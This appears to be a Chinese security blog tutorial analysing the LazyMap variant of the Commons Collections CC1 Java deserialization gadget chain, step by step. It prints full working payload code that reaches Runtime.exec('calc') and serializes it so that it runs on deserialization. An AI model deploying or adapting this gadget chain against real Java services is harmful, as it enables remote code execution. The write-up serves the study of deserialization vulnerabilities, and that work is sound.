Java反序列化利用鏈篇 | CC1鏈的第二種方式-LazyMap版呼叫鏈【本系列文章的分析重點】

leyilea發表於2024-09-23

CC1鏈的第二種方式-LazyMap版呼叫鏈

目錄

  • LazyMap

  • 構造payload

  • CC1的呼叫鏈

  • 參考連結

LazyMap

在之前的CC1鏈中分析,其實是其中一種方式(國內版本),還有另外一種方式,也是ysoserial中的CC1鏈的方式(國外版本)。

區別在於呼叫transform的類是不同的。

在尋找transform呼叫的時候,當時使用的是TransformedMap中的checkSetValue()方法。

其實在LazyMap的get()方法也滿足需求,也能到達readObject()。

具體方法如下:

其中比較重要的程式碼是

Object value = factory.transform(key);

也就是我們如果能控制factory的值為ChainedTransformer,就可以實現命令執行。

factory的賦值語句在LazpMap的建構函式內部。

那又是誰呼叫了LazyMap的get()方法呢?

這裡非常的不好找,因為呼叫太多了(找到的師傅牛~)。

AnnotationInvocationHandler類的invoke()方法中有呼叫:

而這個AnnotationInvocationHandler類是一個動態代理類,特點之一就是呼叫該類的任意方法,都會呼叫器invoke()方法。

所以如果呼叫AnnotationInvocationHandler類的readObject()方法,該類的invoke()方法也會觸發。

因此,整個的呼叫鏈也就出來了:

sun.reflect.annotation.AnnotationInvocationHandler#readObject
sun.reflect.annotation.AnnotationInvocationHandler#invoke
org.apache.commons.collections.map.LazyMap#get
org.apache.commons.collections.functors.ChainedTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transform

構造payload

從LazyMap的get()方法中可以看到,透過factory.transform(key)方式呼叫了transform()

所以根據CC1鏈的第一條,只需要控制factorychainedTransformer即可。

factory是在LazyMap的建構函式中賦值:

而此建構函式不能直接呼叫,但是可以透過decorate()方法獲取到:

則可以得到如下不完整的payload:

Transformer[] TransformerArray = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

// 透過decorate()方法獲取到LazyMap物件,並將ChainedTransformer傳入
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);

其中呼叫lazyMap的get()方法,則會觸發惡意程式碼,測試一下:

// 呼叫lazyMap的get()方法則會呼叫chainedTransformer的transformer()
        lazyMap.get("key");

接下來想辦法:如何呼叫到lazyMap的get()方法呢?

前面說在AnnotationInvocationHandler類的invoke()方法中有呼叫get()方法:

而這裡的呼叫,是透過memberValues來進行呼叫,我們需要保證memberValueslazyMap,這樣的話,執行該invoke()方法時才會呼叫到lazyMapget()方法。

memberValues是透過AnnotationInvocationHandler的建構函式傳入:

AnnotationInvocationHandler類不能例項化,需要藉助反射,相關程式碼如下:

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
// AnnotationInvocationHandler類實現自InvocationHandler介面
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);  // 注意這裡傳入lazpMap,給memberValues賦值

那如何呼叫InvocationHandler ih物件的invoke()方法呢?

這裡可以看到AnnotationInvocationHandler類實現自InvocationHandler介面,也就是說AnnotationInvocationHandler類是一個動態代理的處理器類。

那麼,想呼叫InvocationHandler ih物件的invoke()方法,只需要呼叫被代理物件的任意方法,則可以呼叫ih物件的invoke()。這裡需要注意:直接呼叫被代理物件的任意方法不行,需要藉助動態代理才可以呼叫到invoke(),也就是說需要建立動態代理。

建立動態代理程式碼如下:

  • 這裡的動態代理物件,用來代理LazyMap實現的介面,處理器物件為ih
Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);  // 將InvocationHandler ih傳入

這樣只需要呼叫LazyMap物件的任意方法,就會呼叫ih物件的invoke()

注意這裡雖然呼叫任意方法,可以呼叫ih物件的invoke(),但是還得保證,呼叫invoke()方法之後,能執行到Object result = memberValues.get(member);,這樣才能執行我們想要的lazyMapget()方法。

我們可以看到:執行invoke方法之後,有一些條件需要繞過一下,否則就直接返回了,無法執行到memberValues.get(member)

總結下來就是:動態代理的執行方法(即被代理物件lazyMap的任意方法)不能是equals\toString\hashCode\annotationType方法,且不能存在引數。

那麼,被代理物件lazyMap可執行的方法(看代理的介面Map的方法)還有下面幾個:

測試一下是否可以執行惡意程式碼:

Transformer[] TransformerArray = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);


Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), ih);

mapProxy.clear();

接下來,尋找誰呼叫了mapProxy(被代理物件)的size()/isEmpty()/clear()/keySet()/values()/entrySet()方法。

其實這裡(在CC1鏈的第一條中也用過)剛好AnnotationInvocationHandlerreadObject方法中存在 map物件的entrySet()無參方法呼叫:

其中我們需要保證memberValues變數為mapProxy(被代理物件)即可,而且這裡是在readObject方法中,直接一步到位。

這裡怎麼辦呢?

同樣的,透過反射建立AnnotationInvocationHandler物件,並將mapProxy(被代理物件)傳入,給memberValues變數賦值即可:

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler obj = (InvocationHandler)declaredConstructor.newInstance(Target.class, mapProxy);

而這裡的前面三行已經有了,所以此時的payload可以合併為:

Transformer[] TransformerArray = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

// 透過decorate()方法獲取到LazyMap物件,並將ChainedTransformer傳入
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);  // 注意這裡傳入lazpMap,給memberValues賦值

Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);  // 將InvocationHandler ih傳入

InvocationHandler obj = (InvocationHandler)declaredConstructor.newInstance(Target.class, mapProxy);

得到了一個物件obj,對其序列化,反序列時會自動呼叫器readObject()方法,執行惡意程式碼。

則最終的payload為:

Transformer[] TransformerArray = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);


Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);

Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);

Object obj = declaredConstructor.newInstance(Target.class, mapProxy);


SerAndUnser.serialize(obj);
SerAndUnser.unserialize("ser.bin");

CC1的呼叫鏈

參考連結

Java安全 CC鏈1分析(Lazymap類)_cc1鏈使用的lazymap類-CSDN部落格

相關文章